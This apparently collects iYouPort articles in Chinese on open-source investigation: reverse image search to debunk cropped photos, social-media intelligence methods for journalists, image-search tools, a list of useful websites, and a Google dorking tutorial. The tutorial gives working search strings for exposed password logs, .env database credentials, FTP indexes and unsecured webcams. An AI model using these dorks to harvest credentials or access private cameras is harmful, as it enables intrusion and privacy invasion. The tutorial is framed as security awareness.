找到原始照片的最好方法之一是搜索类似的图片。单击“类似图像”（如上面的搜索所示—在此屏幕截图中为法语。）

这是“类似图像”的结果。

当您在谷歌图片上进行反向图像搜索时，出现的照片都标有 “CAF in Rosny sous bois”。为了进一步挖掘这张照片的历史，您必须进行 “类似图片” 的搜索。

这使您能够找到与您正在寻找的图像非常相似的照片，甚至是可能被剪裁得不同的相同照片。在这种情况下，运行这个搜索有助于我们找到一个更大的原照片版本，其中不包括家庭福利办公室的标志。

再仔细看一下这张照片，您可以看到在妇女们等待的建筑物前面写着

“警察局”（英文）。这张新照片还包括另一个标志 —— 伦敦的公共汽车站牌。

最后，图片最左边的白色车辆是在道路的左侧行驶的，这是英国的特点。所有这些线索都有助于我们确定原始照片是在伦敦而不是法国拍摄的。原始照片包括左侧的伦敦巴士标志。此外，这座建筑贴有“警察局”的标签（看图片的右上角）。

当一张法国冠军足球队的照片被欺骗性地重拍时

「图」

同样的技术可以用来分析另一张照片 —— 这次是法国国家足球队在赢得2018年世界杯后，于7月16日站在总统府爱丽舍宫前的照片。

从7月17日开始，也就是球队在赢得国际比赛后兴高采烈地返回巴黎的第二天，一张照片开始在 Facebook 上流传，似乎显示球队所有的黑人球员在总统府拍照时被安排在第二排。据那些分享图片的人说，这显然是一种歧视的表现。法语帖子写道：“看看你们法国。到了爱丽舍宫时黑人就被扔到后面了，即便在球场上他们总是冲在前面的”。

再一次，先运行反向图像搜索，然后搜索类似的图像，就会找到其他在同一时间拍摄的照片，但没有被裁剪得那么紧密。这些较大的照片显示，在前排（最左边）实际上有三名黑人球员。这三名球员，托马斯·勒马尔，史蒂夫·曼丹达和恩戈洛·坎特，在下面的照片中用红色圈出。

当被篡改的是视频时，寻找来源的难度更大

「图」

人们经常裁剪照片，以传递某种特定的信息。尤其是，这样做的人越多，找到原始图像的难度就越大。

当进行反向图片搜索时，搜索引擎会扫描网络，以找到与您感兴趣的照片具有相同像素、相同大小或相同颜色的图片。如果您要找的照片的修改版已经被发布了无数次，那么找到原版有时会非常困难。

当视频被裁剪或重新构建成不同的方式，然后发布到网上时，这种情况就尤其明显。例如，许多人在 Facebook 上分享4月中旬首次发布的

一个视频，他们声称该视频显示了“法国警察如何在法国暗杀非洲黑人”。

在这种情况下，反向图像搜索就不起作用了。它无法识别原始视频，因为相关视频是从手机上播放的原始视频的翻拍。如果您在谷歌等搜索引擎上进行反向图像搜索，这种情况不会有任何结果。

在 Google 上进行反向图像搜索不会出现此视频的任何结果。

在这种情况下为了找到原始视频，您将不得不发挥创意。首先，暂停视频，对关键时刻进行截屏。然后，您需要裁剪图像，使画面上只有视频本身，去掉正在播放视频的手机。

在这里，我们对警察踢受害者的那一刻进行了截屏。通过谷歌搜索这张图片时，终于找到了原始视频，它是在澳大利亚拍摄的，而不是法国。帖子写道：“来看看法国警察如何在法国暗杀非洲黑人。请广泛分享！”

总而言之，对于一个原始周长被改变的视频，最好的做法是拍摄屏幕截图，并像照片一样进行反向图像搜索。●

Why the way an image is cropped can change everything

原文

调查记者如何从社交媒体上挖掘情报？

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

一套思考方式，加一些常用工具；任何人都能做到

「图」

社交媒体情报由于一直被全球当权者用来追踪异议和活动家，这个概念经常处于臭名昭著的状态。

但社交媒体情报本身并不是纯粹恶意的 —— 公民记者、活动家和NGO组织都使用它寻求证据和调查线索，以维护正义。

尤其是调查记者（包括公民记者），挖掘突发新闻、跟踪大型群体事件、验证热门消息的真伪等等，都需要使用社交媒体情报的相关技术和技巧。

尤其是用户量最大的社交媒体平台，它们都是情报来源的金矿。

从 Facebook 和 Twitter 挖掘情报的相关示例是最多的，它们面对不同的调查和追踪需求，不仅演示操作，更强调侦查和反侦察的思考方式。

尽管 Instagram 是新的社交媒体宠儿，但同时拥有 Instagram 的 Facebook 仍然拥有两倍数量的用户群，是全球几十亿人围绕特定主题进行对话和互动的热门场所。

尽管其中一些是私人团体，您可能需要被邀请或成为消息来源才能获得访问权限，但是这个世界上最大的社交网络始终是可供记者访问的大量公开信息池，您只需要知道在哪里找到自己想要的东西即可。

波士顿大学计算新闻学实践副教授 Brooke Williams 和 Bellingcat 的首席研究员 Henk van Ess，谈论了他们如何使用社交媒体挖掘调查资源和情报的经验。以下对他们的答案进行了编辑，以求简洁明了。

1、瞄准相关性最强的可见的社区团体

首先就是查看所有公开的组织，尤其是与您的调查目标存在关系的任何组织和个人。

地理位置条件很重要，人们总是更多关心发生在自己身边的事；关心当地问题的当地人倾向于组成 Facebook 小组。

例如，如果一架直升机在某个地区坠毁，那么就在 Facebook 上搜索该特定地区的社区，并使用诸如当地街道名或特定地区名之类的关键字来寻找目击者。

还可以通过Google网上论坛进行搜索，在这些网上论坛中，目标群体经常会在其留言板上留下情报线索的“面包屑”。

这取决于人们的隐私设置方式。你总是能找到东西，因为并非所有人都那么注意反监视措施。

浏览这些群组消息时，使用“讨论记录”或“日程表”之类的关键字搜索能获得很多成功，通过这些搜索可以找到“潜在来源”的文档和联系信息。

尽管您不一定能看到这些消息是发送给谁的，但发件人的电子邮件通常是可见的。你就可以沿着这条线索深入调查。

2、使用为记者创建的免费搜索工具过滤 Facebook

就如我们曾经做过的诸多演示那样：就算进行了隐私设置，社交媒体网站上仍然可以挖到大量低调而高价值的信息，从 Facebook 到 Twitter 到 Instagram 都是如此。

如果您知道如何过滤掉杂音，就可以更快速地找到想要的东西，并做更多的事。

还记得这项调查吗？《在当权者操纵的恶意信息战中保卫真相》（这篇文章的后半部分），这是社交媒体侦查的一个典范，谷歌地球（Google Earth）和免费工具从视频中创建全景图，拼凑拍摄非常糟糕的视频剪辑 —— 那是关键证据，以找到事发地点和准确时间。

去年追踪荷兰逃犯的时候使用的也是类似的方法，以及适用于 Instagram 的 Google Chrome 插件、和60多个 Twitter 用户。

记者经常将 Facebook 视为一种强大的资源。虽然 Facebook 上“99%”的内容是宠物照片和 meme，但是，如果您可以对大量的个人

帖子进行精细的分类，那么就能找到非常有用的信息。

请注意：正由于 Facebook 含有大量的家庭生活和现实人际关系信息（比如宠物、旅行、家庭合影等），它也是社交工程攻击的重点情报来源。

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《你不应该在社交媒体上说的话》
- 《使用社交媒体时你必须注意什么？》

van Ess 创建了在线搜索工具 graph.tips 和 whopostedwhat.com，以便像他这样的调查人员拥有“快速的方法来过滤社交媒体”。

对于专注于转瞬即逝的突发新闻或犯罪现场调查的年轻记者而言，他们可能熟悉 TweetDeck（据说是主流媒体记者必须熟练的标准工具这一），它能迅速查找目标相关的信息，为记者提供了一种便捷的追踪事件方法。

- 在这里看到我们曾经分析过的做法，尤其是运算符《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 用它来发现和追踪机器人网络也是非常有效的《如何发现社交媒体上的机器人账户？- 12种方法》

您可以输入关键字，然后在“时间范围”部分中选择一个日期范围，以查找有关该关键字的所有此段时间内发布的帖子。

单击感兴趣的 Facebook 个人资料，然后可以将该 Facebook 帐户的URL地址复制并粘贴到 whopostedwhat.com 上的搜索框中，以生成“UID”编号。

然后，当该用户提及该关键字时，可以在“直接来自/与之关联的帖子”部分中使用此UID来搜索实例。

这些工具并非万无一失。有时搜索不会产生任何结果。有些GUI工具的确如此，这就是为什么您应该了解如何使用命令直接进行自定义的搜索，方法：

- 《人人可用并不复杂的高级情报工具：让情报更丰富的方法》
- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》

例如，记者可以搜索“restaurants visited by”并输入两名政治人物的名字；或者搜索 “photos tagged with” 并输入政治人物或说客的名字。美国人不喜欢使用位置标记，但其他国家的人普遍喜欢这么做。

3、及时了解平台的变化

和所有社交媒体情报挖掘工具一样，它们都是被动的，会随着社交媒体平台政策的变化而失效，甚至完全被废掉。比如 Facebook 关闭了图谱搜索后发生的事 —— 一大片工具都作废了。

这就是为什么开源情报工具是流动性的，它们会不断的更新和创新；它们具有一定的时效意义。

于是您需要关注政策变更，以便及时找到替代方案。

社区合作很重要。就如 Graph.tips，采取众包的形式。用户会不断使用 GitHub 上重新设计的工具来解决问题。

4、使用其他社交媒体工具证实您的发现

在进行社交媒体调查时，您需要将工具与“战略”结合起来。

包括学习搜索工具的语言 —— 比如 Twitter 的高级搜索功能所需的运算符，见《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

除了上述提到的 Tweetdeck 之外，还有一个类似的工具 TwXplorer。它可以帮助记者过滤 Twitter，在12种语言中查找一个单词或短语的500个最新使用。然后，该应用程序将列出有关该短语的所有推文以及最流行的相关主题标签。

更多工具可见IYP曾经总结的：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》
- 《新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利

器、和追踪资金往来》
- 《新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪》
- 《新生情报工具（7）：全球搜人、免费手机短信、放大照片不损质量、快速查找相关视频》
- 《🔍 超级情报收集工具库：开源验证和调查工具及使用方法》
- 《20个最好用的在线侦查工具和数据收集工具》
- 《开源调查工具：情报地图、“黑客搜索”,及其他 》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 搜索大全指南《如果你擅长搜索，你能找到一切》

就是这样。很简单吧。实际上只需要增加一些公民责任感，假消息和信息战就不容易得逞。我们的读者比其他人具备更多的相关知识和技能，有希望成为更出色的公民。加油。〇

原文

谷歌搜图不好用怎么办：推荐另外两个更好用的工具 - iYouPort

开源情报-每个人都可用的武器

亲测好用的工具推荐给大家

「图」

「图」

反向图像搜索是任何深度调查和信息验证的重要部分。

有数十种专业搜索引擎可供选择，每种搜索引擎都有自己的优点和缺点，但是使用多个独立的搜索引擎逐一检查图像会非常耗时。

- 搜索引擎大全《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

令人沮丧的是，许多 RI 工具只允许您选取一两个搜索引擎，如 Google（有明显限制）和 Tineye（撞大运机器……）。

但是，还有另外两个很棒的工具，可以让您通过大量的自定义搜索囊括很多个搜索引擎。

Reverse Image Search 和 Search By Image 是我最喜欢的两个。

Reverse Image Search

Andreas Bielawski 的反向图像搜索工具适用于 Chrome 和 Firefox，是一个很简单但非常有效的工具。

安装完成后，只需右键单击图像，RIS 即可让您选择要用于对所选图像进行反向搜索的搜索引擎。

「图」

「图」

最常见的搜索引擎几乎全包括在内，不仅有通常的谷歌和 Yandex，还有更多的利基搜索引擎，如动漫专家工具 IQDB。

我最喜欢 RIS 的功能是它允许你添加任意数量的自定义搜索引擎，这样你就可以创建一个真正的瑞士军刀，用于快速反向图像搜索。

「图」

「图」

该工具仍在积极开发中，目前的测试效果是完全可靠的。

Firefox 版的在这里获取；Chrome 的请按照此处的说明操作。

Search By Image

Search By Image 是荷兰的开源调查专家推荐的。到目前为止，它一直令我印象深刻，它正在慢慢成为我的首选工具。

与RIS一样，它可以为一键式查询添加自定义范围的多种不同搜索引擎，并且它还具有一些额外的功能，可以给它带来很多的优势。

「图」

「图」

它不允许你添加任何新的搜索引擎，但实际上已经没有其他更好的搜索引擎没有包括在内了。

通过右键单击图片然后选择要使用的搜索引擎（或者如果您愿意，可以选择所有搜索引擎）来查询图像：

「图」

「图」

“按图搜索”允许您从计算机上传图像（或通过URL从Web上传）并对该特定照片进行反向图像搜索。

「图」

「图」

并且，我最喜欢的功能是，它能够捕获图像的一小块区域，然后对该特定区域进行反向图像搜索。

当您想要关注特定细节时，这是一种很常用的RI技术，但通常涉及手动剪切图像然后将特定片段上传到搜索引擎。

但使用 Search By Image 您可以非常简单地做到这点，而无需其他工具协助。这是一个非常有用的功能。

「图」

「图」

不得不说我对“Search By Image”印象非常深刻，虽然它仍在开发中。长期测试显示，Search By Image 的有效频率最高。

下载它的 Chrome 版在这里，火狐 在这里，Opera 在这里。

批判性思考是追求真相的基础，工具是辅助手段。让更多人掌握思考方式并了解工具，真相事业才能蓬勃发展。

多实践，就会非常熟练。〇

原文

谷歌甚至可以轻松搜到密码以实现入侵 …… 如何做到这件事？ - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身

【2020年4月16日存档】不要下载任何文件！不要尝试入侵！本文只服务于防御。

您可能没有想到dork具有多么强大的功能 —— 不仅仅是《搜到机密信息》。并且，只要使用正确的dork，您甚至可以通过谷歌搜到登录密码，实现入侵设备 ……

这是因为Google出色地索引了连接到互联网的所有内容，因此，可以找到意外暴露的文件，其中包含任何人都可以查看的重要信息 —— 比如密码。

- 在这里看到《攻防皆可用：GoogleDorking 高级运算符完整列表》

Google 搜索运算符的高级应用是 Google Dorking，它使用搜索运算符通过目标搜索字符串来搜寻特定的易受攻击的设备。

如果假设 Google 已将大多数意外暴露于互联网的设备编入了索引，则可以使用已知的登录或管理页面中显示的文字来找到它们。

哪些类型的东西可以用Dorks挖出来？

「图」

你会惊讶的。

从海洋中游艇的控制器到关键系统的配置接口，所有这些都由用意善良的人将它们连接到互联网了，并 **假设** 没有人会找到它们。

不幸的是，他们错了。

那这一灾难如何可能发生在你身上呢？

想象一下，你有了一个新的安全摄像头，你可以随时随地在手机上查看它拍摄的影像。亚马逊生产的那个门铃就是这种东西，可以在这里看到：

- 《亚马逊希望出售"监控即服务"》
- 《亚马逊帮助警方构建了一个广泛的监控网络》

您进行了设置，将其连接到了Wi-Fi，然后下载一个要求您登录的应用程序。之后，您可以从任何地方访问这个监视相机！

后台发生的事可不是那么简单的。摄像机会沟通中文服务器并实时流式传输视频，从而使您可以通过手机访问托管在中国服务器上的监视影像。

⚠该服务器可能不需要密码就可以从您的网络摄像头访问提要，从而使搜索监视摄像机查看页面中包含的文本的任何人都可以访问您的监视摄像机。

不幸的是，谷歌在搜索运行HTTP和HTTPS服务器的任何联网设备方面都无情地发挥了作用。

由于这些设备中的大多数都有托管服务器来对其进行配置，因此，这意味着许多本不应该在Google上出现的东西就在那里出现了。

哪些 Dorks 最厉害？

「图」

到目前为止，我们发现的最严重的被公开文件类型是一种将泄露凭据的文件。通常，这种情况将以两种方式之一发生。

首先，服务器设置不正确，并将其管理日志泄漏到了互联网。更改密码或用户无法正确登录时，这些日志就可能会将使用的凭据泄漏到互联网。

发生这种情况的另一种方式是公开了包含相同信息的配置文件。这些文件本来应该是内部文件，但经常出现关键信息暴露在外的情况。

这些错误中的任何一个都可能导致攻击者偶然抓住这些信息，从而接管整个服务。

接下来将演示使用 Googledorks 查找不仅这些文件，⚠而且还查找文件传输服务器之类的东西，其中可能包含有趣的信息，还有电子邮件列表、以及你可能最喜欢的暴露的网络监视摄像头。👀

视频：

你需要什么？

「图」

要继续进行下去，您将需要具有互联网访问权限的浏览器，此外没了 —— 使用 Googledorks 的美丽之处就在于，您可以使用几乎任何人都可以使用的工具来查找易受攻击的系统。

打开浏览器后，导航至Google.com，就是这么简单。

第一步：找到使用HTTP的FTP服务器和网站

「图」

首先将使用以下 dork 来搜索2018年某个时候被公开的文件传输服务器。搜索这些服务器可以使您找到本应是内部文件但在不知不觉中被公开的东西。

```
intitle:"index of" inurl:ftp after:2018
```

这些东西之所以暴露了，是因为它们的FTP服务器的索引文件是Google喜欢扫描的那种数据 —— ⚠人们往往会忘记这一事实。

记住上面那个句式哦，如果您想查找仍使用HTTP的不安全网页，则可以将“ ftp”更改为“ http”并重新运行搜索，就像这样：

```
intitle:"index of" inurl:http after:2018
```

搜索该字符串应该会生成很多网站的列表 —— 这些网站随时可能遭到攻击。但是，如果您正在寻找特定类型的网站，可以走的更远 ……

假设你想开始攻击一些容易的目标，可以更具体一些，比如通过更改搜索中的文本找到在线 forum：

```
intitle:"forum" inurl:http after:2018
```

运算符是可以举一反N的哦，您可以继续在这里添加诸如 **AND inurl**：“ **registration**” 之类的搜索运算符，以获取更具体的信息：

第二步：查找带有密码的日志文件

「图」

下一步将搜索.LOG类型的文件。

搜索 LOG 文件将使您能够查找到有关系统或各种用户或管理员帐户的凭据的线索。使用下面这个dork：

```
allintext:password filetype:log after:2018
```

经常可以立即找到一大堆……

此日志指出该密码是默认密码，只需对 OpenCast Project 网站进行简单的搜索即可发现。

是的，只需要一个简单的搜索就可能找到了该系统的凭据，而根本没有进行任何黑客操作。

第三步：使用密码查找配置文件

「图」

配置文件永远不应该公开，而 .ENV 文件就是很好的例子。搜索包含数据库密码字符串的 .ENV 文件，立即就能找到该数据库的密码。

```
filetype:env "DB_PASSWORD" after:2018
```

如果删除以下内容 **after:2018**，就可以看到最新的和较旧的日志文件也互联网上存在暴露。不够小心的人永远都有，而且数量之多超乎你的想象。

第四步：查找电子邮件列表

「图」

电子邮件列表是抓取电子邮件地址并尝试查找有关目标人和组织的信息的好方法。而这些列表经常被以组织成员电子邮件列表的形式公开

于互联网。

在下面看到攻击者会怎么做（这是仅举几例）：

- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》
- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《如何使用账户恢复功能追踪目标人？- 开源情报搜集方法》

为了找到它们，我们将寻找URL中带有字符串 “email.xls” 的电子表格 .XLS 类型文件。

尽管这些结果很有用，⚠但请注意不要下载任何文件！！除非您明确知道它是否是蜜罐！！⚠

这根本无法预测。许多坏家伙会选择流行的dork，然后传送包含恶意软件的文件。

第五步：查找暴露的监视摄像头

「图」

我们介绍过 “最邪恶搜索引擎” Shodan。但如果您认为 Shodan 是唯一可以找到那些奇怪的被暴露联网摄像头的服务，那就真的错了。

摄像机登录和查看页面通常是**HTTP**，这意味着**Google**乐于为它们建立索引 —— 并在您知道正确的搜索字符串的情况下**……** 你就有了上帝之眼。

- 不要错过《搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索：恐怖指南》
- 《如何快速找到任何国家隐秘的关键联网基础设施》

一种常见格式是在URL中搜索包含当前时间和日期的“ top.htm”。这样您会发现很多结果。

```
inurl:top.htm inurl:currenttime
```

上图第一个结果是 Windows XP 背景的网络摄像头似乎是爱尔兰的 Belmullet。

另一个dork相机搜索的出色结果是路由器上托管的实时取景页面。

```
inurl:"lvappl.htm"
```

使用这个dork，找到了所有相机中最好的 birdcam1。

还有许多其他相机可用，尽管都没有 birdcam1有趣。在这里看到。

还有许多摄像机监视工厂或工业区域内部 —— 一般人平时进不去的地方，现在全在互联网上曝光了。

您在本演示中看到的这些都是无需密码的，而许多dork找到的是具有众所周知的默认密码的网络摄像头登录页面。这种策略是非法的哦，虽然的确可以轻松访问许多非公开观看的网络摄像头 ……

危险：Google Dorks 允许轻松破解现有服务

「图」

由于Google对几乎所有连接到互联网的提供Web界面的东西进行了索引，于是几乎可以肯定随时都能找到错误配置的服务，这些服务会使关键要素暴露在互联网上。

⚠本文是希望提高安全意识而不是协助入侵 —— 请确保即使暴露了密码也不要登录任何这些服务，因为这可能会给您带来麻烦，因为您没有权限。

真正的攻击者不需要这些知识，这些都是他们长期采用的基本步骤。

与所有 “开源情报” 技巧一样，它们都可以反用于防御 —— 用这种方法搜索自己拥有的东西，尽可能快地把找到的一切删除或遮盖，抢在攻击者的前面。〇

原文

这里是100个最实用的网站：也许您用得到 - iYouPort

开源情报-每个人都可用的武器

随身助理，各种功能

「图」

「图」

本文整理了一个列表：关于互联网上最实用的网站，它们可以使您变得更聪明、更高效、提高生产力、并帮助您学习新技能 —— 至少可以很好地解决上述问题中的一个。

它们都有很酷的URL，于是很容易记住，因此可以免去您大海捞针的Google之旅。

最有用的网站和网络应用

1、archive.is —— 拍摄任何网页的快照，即使原始页面消失了，该快照也将永远存在。这对存档证据来说很重要。相关技巧详见：

- 《留下证据：如何存档开源材料？》
- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

2、autodraw.com —— 创作徒手涂鸦，并观看它们神奇地转化为由机械学习驱动的精美图画。活动家的宣传可以使用这类吸睛度高的方法来实践。

3、fast.com —— 检查您当前的互联网连接速度。

4、slides.com —— 创建像素完美的幻灯片，并将演示文稿广播到任何地方、任何规模的观众。擅长写教程的朋友，这个东西您可能会喜欢。

- 更多《如何将您的Google幻灯片演示文稿变成视频和GIF？》

5、screenshot.guru —— 在手机和台式机上拍摄的高分辨率网页截图。不仅可以存档，也可以跨墙传播（或者从暗网到明网），您懂的。

6、dictation.io —— 在浏览器中进行准确，快速的语音识别。

7、reverse.photos —— 上传图片并在网络上查找类似图片。这是开源情报最重要的能力之一：反向图像搜索的工具；它的便捷在于，您可以在手机上操作。不要错过我们对反向图像搜索领域相关工具和技巧的介绍：

- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《如何对视频进行开源情报调查和信息验证：推荐好用的工具》
- 《搜图功能哪家强？图像验证方法的能力对比》

8、copychar.cc —— 复制键盘上没有的特殊字符和表情符号。

9、codeacademy.com —— 在线学习编码的最佳场所。

10、noisli.com —— 制造环境声帮助您提高注意力和生产力。

11、iconfinder.com —— 适合各种项目的数百万个图标。您也可以尝试 icons8.com 和 flaticon.com。

12、jotti.org —— 扫描任何可疑文件或电子邮件附件中是否有病毒。

- 不要错过，我们介绍过的防御技术《系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去》

13、wolframalpha.com —— 一个很厉害的搜索引擎，你几乎能找到一切调查线索和答案。在 wolfram tips 查看更多解释。

- 不要错过我们总结的搜索大全《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

14、flightstats.com —— 跟踪全球机场的航班状态。对于调查来说也很有用。

15、unsplash.com —— 绝对免费的最佳下载图像的地方。

16、videos.pexels.com —— 免费高清视频在线库，您可以在任何地方使用。另请参阅 videvo.net。

17、everytimezone.com —— 查找全球时区的最简单方法。没有其他同类产品那么混乱。

18、e.ggtimer.com —— 一个简单的在线计时器，可满足您的日常需求。

19、random.org —— 在线掷骰子。如果您需要选择随机数的话在这里获得帮助。

20、myfonts.com/WhatTheFont —— 上传任何文字的图片并快速确定字体系列。

「图」

「图」

21、fonts.google.com —— 最好的开源字体集合，您可以不受限制地在任何地方使用。

22、fontstruct.com —— 绘制并构建自己的字体，并在任何应用程序中使用它们。

23、calligraphr.com —— 将您的笔迹或书法转换为在线字体。

24、regex.info —— 查找隐藏在照片中的**EXIF**数据。在这里看到更多相关工具。

25、youtube.com/webcam —— 无需任何复杂的设置即可通过互联网进行直播。活动家做直播的优秀选项。

26、remotedesktop.google.com —— 访问其他计算机或允许其他人通过互联网远程访问您的计算机。

27、homestyler.com —— 从头开始设计或以3D形式对房屋进行重新建模。

28、pdfescape.com —— 使您无需Acrobat即可在浏览器中快速编辑

PDF。

29、draw.io —— 在浏览器中创建图表、线框和流程图。对于写调查报告来说会很有用。

30、web.skype.com —— 使用**Skype**在浏览器中进行语音和视频通话。

31、onlineocr.net —— 快速识别扫描的PDF中的文本。将扫描的PDF转换成WORD。

32、wetransfer.com —— 在线共享真正的大文件。

33、file.pizza —— 通过WebRTC进行对等文件传输，无需任何中间人。

34、snapdrop.com —— 有点像 Apple AirDrop，但适用于web。直接在同一网络中的设备之间共享文件，而无需先将它们上传到任何服务器。

35、hundredzeros.com —— 该网站可让您下载免费的**Kindle**图书。

36、app.grammarly.com —— 检查您的写作是否存在拼写和语法错误。

37、noteflight.com —— 打印乐谱，在线编写自己的音乐（查看）。

38、translate.google.com —— 翻译网页、PDF和Office文档。

39、kleki.com —— 使用各种画笔创建绘画和素描。

40、similarsites.com —— 发现与您喜欢的网站相似的新网站。

41、bubbl.us —— 创建思维导图，在浏览器中使用，对调查研究工作来说很重要。

42、color.adobe.com —— 获得色彩创意，还可以从照片中提取色彩。

43、canva.com —— 使用现成的模板设计制作精美的图形、演示文稿、简历等。

44、lmgtfy.com —— 多个搜索引擎同时挖掘，扩大您的信息搜集范

围。

45、midomi.com —— 当您需要查找歌曲名称时。

46、history.google.com —— 查看您过去所有的Google搜索，以及最重要的Google URLs。然后删除所有。

47、faxzero.com —— 免费发送在线传真。

48、tinychat.com —— 在几秒钟内设置您自己的私人聊天室。

49、privnote.com —— 创建文本注释，这些文本注释在阅读后会自毁。

50、domains.google.com —— 快速搜索域名。

「图」

「图」

51、squoosh.app —— 快速压缩图像。该网站也可以离线工作。

52、downforeveryoneorjustme.com —— 查找您喜欢的网站是否离线？

53、gtmetrix.com —— 在线衡量站点性能的完美工具。

54、builtwith.com —— 查找网络托管公司、电子邮件提供商以及有关网站的所有其他信息。

55、urbandictionary.com —— 查找语和非正式用语的定义。

56、seatguru.com —— 帮您选择下一个航班的座位。

57、flightstats.com —— 跟踪全球机场的航班状态。

58、mymaps.google.com —— 创建具有涂鸦、大头针和各种自定义形状的Google地图。

59、snopes.com —— 这是个事实核查服务，也可以查找您收到的电子邮件究竟是真实的还是其他骗局。

60、typingweb.com —— 通过这些练习来提升您的打字技巧。

61、todo.microsoft.com —— 一个漂亮的待办事项应用程序和任务管理器。

62、talltweets.com —— 把谷歌幻灯片变成GIF动画演示文稿。

63、ifttt.com —— 在您的所有在线帐户之间建立联系。

64、namechk.com —— 在数百个社交网络和域名中搜索所需的用户名。这个我们介绍过。也就是跨站追踪的方法，在下面看到更多介绍：

- 《如何构建自定义的用户名侦查工具：开源调查技术》
- 《尽可能多地了解你的侦查目标，并不让对方发觉的方法》
- 演示《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》

65、gist.github.com —— 创建匿名和秘密文本注释，及其他。您可以证明那个东西属于您。在前面的链接中看到具体实例。

66、flipanim.com —— 创建翻页动画，包括洋葱皮工具，您在绘制下一帧时可以看到前一帧。

67、powtoon.com —— 用自己的画外音制作引人入胜的视频和演示文稿。

- 不要错过我们介绍过的方法《如何将您的Google幻灯片演示文稿变成视频和GIF？》

68、clyp.it —— 录制自己的声音或上传音频文件而无需创建任何帐户。

69、carrd.co —— 建立响应式网站，在每个屏幕上看起来都不错。

70、spark.adobe.com —— 通过语音解说进行令人惊叹的视频演示，让所有人都喜欢你。

71、anchor.fm —— 录制可以在iTunes上分发的播客的最简单方法，而无需付费托管。

72、duolingo.com —— 学习说汉语、法语、西班牙语或您选择的任何其他语言。

73、webmakerapp.com —— 一个可离线使用的平台，用于以HTML、CSS 和 JavaScript 构建Web项目。

74、pixton.com —— 用自己的角色创建自己的漫画，可以采取任何姿势。

75、gravit.io —— 一个功能强大的矢量绘图工具，可在任何地方使用。

76、vectr.com —— 创建矢量图并将其导出为SVG或PNG文件。

「图」

「图」

77、twitterbots —— 创建您自己的**Twitter**机器人，该机器人可以自动回复，DM，关注他人等等。

- 不要错过《如何分辨：机器人、僵尸网络和 trolls》

78、headspace.com —— 学习冥想艺术，减轻压力、集中精力，帮助更好的睡眠质量。

79、forms.studio —— 通过文件上传表单接收Google云端硬盘中任何人传送的文件。

80、class-central.com —— 全球大学提供的免费在线课程目录。

81、googleartproject.com —— 探索来自世界各地的博物馆、著名绘画和艺术珍品。

82、instructables.com —— 有关如何构建所有内容的分步指南。几乎任何东西，比如3D打印USB电源、可穿戴技术钱包、钢笔、敢死队服装…… 喜欢动手的人会注意这样的网站。

83、flowgram.com —— 制作数据驱动的图形和图表。

84、marvelapp.com —— 创建交互式线框和产品模型。写报告很好用。

85、slide.ly —— 为 Instagram、Facebook 和 YouTube 预告片制作营销视频和品牌故事。

86、photos.icons8.com —— 使用自定义背景、模型和面部表情，以高分辨率制作自己的照片。

87、gohighbrow.com —— 参加有关各种主题的小规模课程，每次都会通过电子邮件发送章节。

88、htmlmail.pro —— 发送带有Gmail邮件合并的富文本电子邮件。

89、wirecutter.com —— 无论您需要吸尘器还是SD卡，这都是互联网上最好的产品推荐网站。

90、camelcamelcamel.com —— 创建亚马逊价格观察，并在价格下降时获得电子邮件提醒。剁手要有节制哦！这是为了环境生态的大众利益，见《致命的剁手》。

91、mockaroo.com —— 下载模拟数据以填充**Excel**电子表格中的行。

92、asciiflow.com —— 这是一个WYSIWYG 编辑器以绘制**ASCII**图，您可以将其嵌入电子邮件和推文中。

93、buffer.com —— 在 Twitter、Instagram、LinkedIn、和 Facebook 上发布和安排更新的简便方法。

94、10minutemail.com —— 创建一次性电子邮件地址，用于放入注册表单。在下面看到更多介绍：

关于如此使用安全的一次性电子邮件账户：

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》

私人电子邮件可能很危险，您可以通过下面的内容了解大概：

- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》
- 《如何只用电子邮件地址追踪到 Twitter 帐户？》

95、whereami —— 在Google地图上查找您当前位置的邮政地址。

96、sway.com —— 创建并共享交互式报告，新闻通讯，演示文稿以及用于讲故事。不要错过讲故事的技巧！见：

- 《如何讲述故事：开源情报研究初学者的指南》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《利用讲述故事推动社会变革的秘诀：更好的合作伙伴关系》
- 示例《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

97、apify.com —— 完美的网络抓取工具，可让您从几乎任何网站提取数据。不要错过信息抓取技巧，见：

- 《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》
- 《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》
- 《如何抓取交互式地理空间数据？》
- 《尽可能多地了解你的侦查目标，并不让对方发觉的方法》
- 《你能从TikTok（抖音）中挖掘到哪些情报线索？》
- 《从信息验证到安全防御—日常必备的调查工具包》

98、thunkable.com —— 给自己**DIY**应用程序！通过拖动模块而不是编写代码来为 Android 和 iOS 构建自己的应用程序。
